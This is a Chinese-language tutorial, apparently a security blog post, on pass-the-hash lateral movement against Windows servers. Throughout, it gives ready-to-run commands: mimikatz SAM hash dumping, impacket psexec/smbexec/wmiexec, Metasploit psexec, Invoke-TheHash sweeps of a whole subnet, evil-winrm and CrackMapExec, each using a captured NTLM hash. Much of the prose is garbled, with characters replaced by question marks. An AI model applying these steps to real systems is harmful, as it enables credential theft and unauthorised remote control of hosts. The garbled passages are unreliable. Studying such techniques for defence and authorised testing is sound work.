01

前?

隨著攻防演練的頻繁和?們安全意識的提升,企業內部Windows主機的?令也設置的較為復雜,經 常拿到windows 服務器的時候,獲取到了hash,但是?法解密出密碼的情況,這時候就需要?到內? hash 傳遞技術。使?該?法,攻擊者不需要花費時間來懟hash進?爆破,常常適?于域/?作組等環境中。

02

測試環境

Windows server 2012 ?先需要獲取ntml hash,由于直接從內存讀取到的可能是密碼修改之前的hash,這?推薦從sam?件中讀取

mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"

這?獲取到的是:47bf8039a8506cd67c524a03ff84ba4e


對于?些遠程命令的執??式和依賴端?

IPC$+AT   445
PSEXEC 445
WMI 135
Winrm    5985(HTTP) 5986(HTTPS)

135 端?wmi 哈希傳遞

wmi (Windows management Instrumentation) 即 windows 管理?具,windows 98 之后的操作 系統都?持wmi,默認開啟,且windows 默認不會將wmi 的操作記錄到?志。wmi 并不?持直接執?命令,但可以執??件,通過增加執?程序參數的?式執?命令的效果;但 是wmi 是不?持返回的,執?完之后并不能看到回顯


有些?具的原理是wmi 創建進程執?命令,然后將結果輸出到?件,這個?件位于創建的共享?件 夾中,然后通過FSO組件訪問遠程共享?件夾中的結果,將?件進?輸出。讀取完成后,執?wmi 命令刪除?件,然后退出刪除?件共享。其中常?的?具是impacket 中的wimiexec 利??式如下,此時的135 和445 端?都開放

若遇到只開放135的情況,可以增加nooutput 參數,不進?輸出


成功執?了whoami 命令

另外,還可通過wmicmd.exe 進?利?;WMICMD的執?過程是吧結果寫?倒注冊表,之后讀 取完注冊表之后并刪除,然后回顯到本地,由于wmi 可以遠程操作注冊表的信息,查詢的注冊表 信息會產?回顯

https://github.com/nccgroup/WMIcmd

445 端? SMB hash 傳遞445 端? SMB hash 傳遞

利?Windows 的smb服務?先需要建?ipc,可以使?hash 傳遞來進?攻擊,需要?標防? 墻允許445 端?的通過。PsExec 是?種輕型 telnet-replacement,可?于在其他系統上執?進 程,?需?動安裝客戶端軟件即可完成 控制臺應?程序的完整交互性。 

Impacket

利?impacket 中的psexec 程序,命令如下:

python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61


利?impacket 中的smbexec 程序,命令如下

python3 smbexec.py -hashes
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61

利?msf

利?msf 進?pth

use exploit/windows/smb/psexec
set rhosts 192.168.31.194
set smbuser administrator
set smbpass
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e

03

通過powershell 批量

腳本地址:

https://github.com/Kevin-Robertson/Invoke-TheHash
本地加載powershell腳本:
powershell -exec bypass
SET-EXECUTIONPOL
ICY REMOTESIGNED
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
# 利?已知的hash 對內?主機進?批量,域環境
Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e
# 利?已知的hash 對內?主機進?批量,?作組環境
Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

04

5985 HASH 傳遞

WinRM 是 Microsoft 對 WS-Management 協議的實現,WS-Management 協議即?種基于標準簡單對象訪問協 議[SOAP]的 “防?墻友好” 協議,它讓來?不同供應商的硬件和操作系統能夠互相操作。winRM的默認端?為 5985(http)或5986(https)。winRM橫向移動同時適?于?作組和域環境。 

evil-winrm是Windows遠程管理(WinRM) Shell的終極版本。Windows遠程管理是“WS 管理協議的 Microsoft 實施,該協議是基于標準 SOAP、不受防?墻影響的協議,允許不同供應商的硬件和操 作系統相互操作。?微軟將其包含在他們的系統中,是為了便于系統管理員在?常?作中,遠程管 理服務器,或通過腳本同時管理多臺服務器,以提?他們的?作效率。

在kali進?安裝

gem install evil-winrm

執?以下命令

evil-winrm -i 192.168.31.194 -u Administrator -H
47bf8039a8506cd67c524a03ff84ba4e


05

CrackMapExec

另外?款?具就是CrackMapExec, 安裝?式

#~  apt-get install -y libssl-dev libkrb5-dev libffi-dev python-dev
build-essential
#~ git clone https://github.com/Porchetta-Industries/CrackMapExec
#~ cd CrackMapExec
#~ poetry install
#~ poetry run crackmapexec

使??式

poetry run crackmapexec winrm 192.168.31.194 -u admin -H
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -x
whoami